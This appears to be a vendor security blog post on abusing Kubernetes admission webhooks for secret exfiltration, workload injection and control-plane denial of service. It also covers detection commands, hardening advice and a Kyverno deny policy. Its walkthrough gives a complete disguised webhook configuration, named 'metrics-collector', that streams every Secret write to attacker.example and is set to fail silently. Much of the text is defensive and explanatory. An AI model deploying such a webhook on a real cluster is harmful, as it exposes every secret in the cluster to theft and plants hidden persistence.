A Tap on the API Server
Admission webhooks are the extension point that makes Kubernetes policy engines work — Kyverno, Gatekeeper, service meshes, cert injectors all register one. They are also, from an attacker's seat, the single most valuable object in the cluster to control: a webhook is a man-in-the-middle on every write the API server accepts, including every Secret.
The permission to create aValidatingWebhookConfigurationorMutatingWebhookConfigurationis cluster-scoped and quietly enormous. It doesn't grant access to one namespace's secrets — it grants a live feed of, and edit rights over, everything created or changed anywhere in the cluster.
Where Webhooks Sit
When a request survives authentication, authorization and object validation, the API server enters admission: it calls every matching mutating webhook (which can rewrite the object), persists nothing yet, runs validating webhooks (which can reject), and only then writes to etcd. A webhook receives the full object — a Secret's data, a Pod's env, a ServiceAccount's tokens — as plaintext JSON, over a callback the cluster initiates to a URL or Service you specify.
The Interception Point
Three Ways to Abuse It
secrets (and configmaps, serviceaccounts). Every create/update ships the plaintext to attacker infra. No get secrets RBAC needed — the cluster hands them over.envFrom a hostPath mount, or swaps an image — into workloads cluster-wide, invisibly, at admission. Instant persistence and privilege.failurePolicy abuse: a malicious webhook that times out with failurePolicy: Ignore can be used to slip objects past — or set Fail on a bogus webhook to DoS the whole control plane.Prerequisites
create on validating/mutatingwebhookconfigurations.admissionregistration.k8s.io — often bundled into over-broad "admin" roles.resources: ["*"], operations: ["*"].Walkthrough: The Backdoor
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata: {name: metrics-collector} # innocuous name
webhooks:
- name: collect.metrics.local
clientConfig:
url: "https://attacker.example/collect" # secrets stream here
rules:
- apiGroups: [""]
apiVersions: ["v1"]
operations: ["CREATE","UPDATE"]
resources: ["secrets"] # <-- every secret write
failurePolicy: Ignore # never break the cluster -> stay unnoticed
sideEffects: None
admissionReviewVersions: ["v1"]It validates nothing and rejects nothing — it just reads. Because failurePolicy: Ignore, if the attacker endpoint is down the cluster shrugs and moves on; nobody notices a "policy" that never blocks.
Detection
clientConfig.url is external, or whose rules include secrets / *. Inventory them and match against your known policy controllers. High.create/update on *webhookconfigurations by a non-platform identity. High.# flag external URLs and secret-scoped rules
kubectl get validatingwebhookconfigurations,mutatingwebhookconfigurations -o json \
| jq -r '.items[] | .metadata.name as $n
| .webhooks[]
| [$n, (.clientConfig.url // "svc:"+(.clientConfig.service.name // "?")),
([.rules[].resources[]] | join(","))] | @tsv' \
| grep -Ei 'https?://|secret|\*'Hardening
- Lock down the RBAC.
create/update/deleteon*webhookconfigurationsis a cluster-admin-grade verb — grant it to platform controllers only, never to app or CI roles. Audit who has it today. - Govern webhooks with a webhook. Use Kyverno/Gatekeeper to deny new webhook configs with external URLs,
secrets/*rules, or unknown names — policy policing policy. - Constrain scope. Legitimate webhooks should carry a tight
namespaceSelector/objectSelectorand a Service (not a URL); anything broader is a smell. - Encrypt at rest + limit token exposure so a webhook feed is not the only thing standing between an attacker and your secrets.
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata: {name: restrict-admission-webhooks}
spec:
validationFailureAction: Enforce
rules:
- name: no-external-or-secret-webhooks
match:
any:
- resources:
kinds:
- ValidatingWebhookConfiguration
- MutatingWebhookConfiguration
validate:
message: "Webhooks must target an in-cluster Service and must not match secrets/*."
deny:
conditions:
any:
- key: "{{ request.object.webhooks[].clientConfig.url | length(@) }}"
operator: GreaterThan
value: 0
- key: "{{ contains(to_string(request.object.webhooks[].rules[].resources), 'secrets') }}"
operator: Equals
value: trueMost teams threat-model who can get secrets. Almost nobody threat-models who can create validatingwebhookconfigurations — yet the second is strictly more powerful, because it intercepts the secrets before RBAC on get ever applies. Treat webhook-configuration verbs as the cluster-admin equivalents they are, inventory every webhook you didn't install, and make policy police policy. The backdoor here isn't a payload you can scan for — it's a single trusted-looking object, and the only defense is knowing it's there.
— k8sec Security Research
Know every admission webhook — and who can create one.
K8SEC inventories mutating/validating webhooks, flags external targets and secret-scoped rules, and maps who holds webhook-configuration verbs — so the cluster's most powerful backdoor can't hide.
Explore K8SECSources: Kubernetes documentation on dynamic admission control (mutating/validating webhooks, failurePolicy, matching); public research on admission-controller abuse for persistence and secret exfiltration; MITRE ATT&CK for Containers (T1556 Modify Authentication Process, persistence via admission control). Mechanism is per upstream docs; the backdoor example is a defender-side illustration.
